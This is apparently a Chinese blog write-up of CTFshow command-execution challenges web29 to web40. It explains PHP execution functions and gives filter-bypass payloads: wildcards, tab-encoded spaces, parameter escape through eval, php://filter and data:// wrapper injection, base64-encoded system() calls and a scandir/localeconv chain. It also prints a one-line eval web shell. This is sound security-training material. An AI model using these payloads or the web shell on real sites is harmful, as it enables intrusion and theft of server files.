CTFshow 命令执行

一、知识点

1./var/www/html为linux环境下默认的根目录
2. php环境下的命令执行函数有:

1.三大输出函数print_r(),var_dump(),var_export()

print_r():以人类易读的格式显示一个变量的信息
返回结果:Array ( [0] => 1 [1] => 2 [2] => Array ( [0] => a [1] => b 
[2] => c ) )

vat_dump():此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。
数组将递归展开值。
返回结果:array(3) { [0]=> int(1) [1]=> int(2) [2]=> array(3) { [0]=> string(1)
 "a" [1]=> string(1) "b" [2]=> string(1) "c" } }

var_export()var_export() 函数返回关于传递给该函数的变量的结构信息,
它和 var_dump() 函数类似,不同的是其返回的表示是合法的 PHP 代码。
返回结果:array (0 => 1, 1 => 2, 2 => array ( 0 => 'a', 1 => 'b', 2 =>
 'c', ),)

代码如下:
<?php
$a = array (1, 2, array ("a", "b", "c"));
print_r($a);
?>
 
2.system()— 执行外部程序,并且显示输出
system(string $command) command为要执行的命令如:ls,同时system中
也可以执行eval()函数,并且system()函数的结果可以显示在浏览器不需要echo3.assert()函数:assert函数是直接将传入的参数当成PHP代码直接,不需要以分
号结尾

4.preg_replace('正则规则','替换字符''目标字符')
执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符。

5.exec()函数:exec 执行系统外部命令时不会输出结果,而是返回结果的最后一
行,如果想要输出结果可以print_r函数以数组的形式打印出来

6.passthru()函数:直接将结果输出至浏览器
passthru()system()的区别,passthr())直接将结果输出到浏览器,不需要使用 echoreturn 来查看结果,不返回任何值,且其可以输出二进制

7.shell_exec():函数通过shell环境执行命令,并且将完整的输出以字符串的方式
返回(这是官方的说明),用大白话讲就是通过shell这个程序(在Linux其实shell
算是一种执行我们用户输入命令的一个程序吧,我的理解是这样)然后执行我们需要
的命令,他的返回方式是字符串,不懂的话可以参考一下我链接的文章。

8.show_source()函数 打印输出或者返回  路径文件中语法高亮版本的代码
跟highlight_file()一样。

9.eval()函数:传入的参数必须为PHP代码,既需要以分号结尾    
 <?php @eval($_POST['cmd']);?>

10.scandir()函数:列出指定路径中的文件和目录,返回的是一个数组,可以用
提到的三大输出函数来打印

Shell是什么?1分钟理解Shell的概念!

3.各种读文件命令

cat--由第一行开始显示内容,并将所有内容输出(就输出在页面上)
tac--从最后一行倒序显示内容,并将所有内容输出(同cat,不过是倒序罢了)
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出

web 29

在这里插入图片描述
就ban了一个flag,先用system("ls");得到两个文件名
在这里插入图片描述
不能出现flag,但是我们可以用通配符fla?.php一样可以查看里面的内容,但记得要在源码中查看
在这里插入图片描述

web 30

在这里插入图片描述
这次ban多了一个system和php,php我们依旧可以用通配符?来代替,但system已经不能用了,我们还可以使用passthru()来查询目录
在这里插入图片描述
随后利用exec函数 var_dump函数和cat命令获得flag.php里的内容。
在这里插入图片描述

菜鸡师傅用的反引号加上cp fla?.??? 1.txt将flag.php写入了1.txt里再访问就可以得到flag
反引号``类似于shell命令,跟system一样

在这里插入图片描述

web 31

在这里插入图片描述
过滤了.和空格,学了菜鸡师傅的一个新姿势,参数逃逸。
payload:?c=eval($_GET[1]);&1=system('cat flag.php'); 这个1是作为要传进去的参数所以不会被过滤,然后查看源码即可
在这里插入图片描述

payload:?c=passthru("tac%09fl*");利用%09来绕过空格,*作为通配符,?只代表一个,*可以代表多个,所以也不需要.也可以得到flag
在这里插入图片描述

web 32

在这里插入图片描述
这题过滤了空格还nm过滤了括号,不是人,看了师傅的payload,他们用的是伪协议。
payload:?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

  1. 这里解释一下这个语句,c是通过get进行传参的,然后php://是一种协议名称,php://filter/是一种访问本地文件的协议,read=convert.base64-encode表示读取的内容会以base64的形式展示出来。,resource=flag.php表示目标文件为flag.php。
    payload:``

  2. data协议:data://text/plain;base64, data:资源类型;编码,内容。
    第一部分是 data: 协议头,它标识这个内容为一个 data URI 资源。
    第二部分是 MIME 类型,表示这串内容的展现方式,比如:text/plain,则以文本类型展示,image/jpeg,以 jpeg 图片形式展示

web 33

这个题目依旧是可以用上面文件包含的思想,得到base64的字符,直接解码
在这里插入图片描述

web 34

emmm,我想不到其他姿势,看了网上的也没有其他姿势,那就只能用前面的了,payload同上

web 35

payload同上

web 36

也就是多了个数字过滤,但是我们的参数是a,所以同上

web 37

在这里插入图片描述
这里之所以不能用上面的方法在于上几题是eval,而现在是include文件包含,用上的filter协议已经得不到flag了。
在这里插入图片描述
payload:?c=data://text/plain,<?php system('cat fla?.php');?>上面已经讲了data协议的作用,就不再复述了,但是要记得用通配符,因为题目禁用了flag。

web 38

在这里插入图片描述
这次主要是多了一个php和file,这里补充一个知识点<?php ?>和<?= ?>其实是一样的,后面那个是短标签所以可以用=绕过php,第二种姿势是利用base64编码来绕过php,两种方法都要用到data协议
在这里插入图片描述
爆出当前目录的文件名后,就可以用data协议来得到flag啦

payload:?c=data://text/plain,<?= system('cat fla?.ph?');?>
在这里插入图片描述
第二种方法就是用base64加密然后进行绕过

payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==这段命令其实就等价于<?php system('cat flag.php');?>
在这里插入图片描述

然后查看源码即可得到flag
在这里插入图片描述

web 39

在这里插入图片描述看代码是过滤了输入的限制,不能输flag,我们可以在include里面利用伪协议data://text/plain,后面的语句会被当做php代码来执行,因为我们在前面已经闭合了php的代码所有后面的.php并不影响。

如图所示
在这里插入图片描述.php直接被显示到了页面上,我们也得到了flag的文件名,然后我们利用system执行命令

在这里插入图片描述最后就可以得到flag了,但是记得因为过滤了flag所以我们用?来代替一个字符。

web40

在这里插入图片描述过滤了单引号,双引号,数字还有$符号,还过滤了数字,但是没有过滤字母,英文括号和分号,这里可以套娃。看了答案

localeconv()函数:返回一个包含本地化数字和货币格式设置信息的关联数组。返回
的第一个数组里的值就是小数点.

pos()函数其实和current()函数等同:返回数组中的当前元素。每个数组都有一个
指向其“当前”元素的内部指针,该指针被初始化为插入该数组的第一个元素。因为
初始化的指针是默认指向第一个的,所以在没有说明的情况下,它的返回值就是数组
里的第一个元素。

array_reverse()函数:接受输入数组并返回一个新的数组,其元素的顺序相反。

next()函数:它在返回元素值之前将内部数组指针向前移一位。这意味着它将返回
下一个数组值,并使内部数组指针前进一个。

得到当前目录的文件名:?c=var_dump(scandir(pos(localeconv())));
在这里插入图片描述

payload:show_source(next(array_reverse(scandir(pos(localeconv())))))(这是平台的答案)
里面套了6个函数其中scandir(pos(localeconv))的作用就是扫描当前目录的文件功能等同于scandir('.'),因为localeconv()的第一个返回值是.而pos()则返回localecnv()的第一个值,然后传给scandir()这样就可以扫描当前目录下的文件了。后面的三个函数就很好理解了,首先是先把数组逆序然后跳到下一个再用show_source()得到flag.php的内容。
在这里插入图片描述

  • 4
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值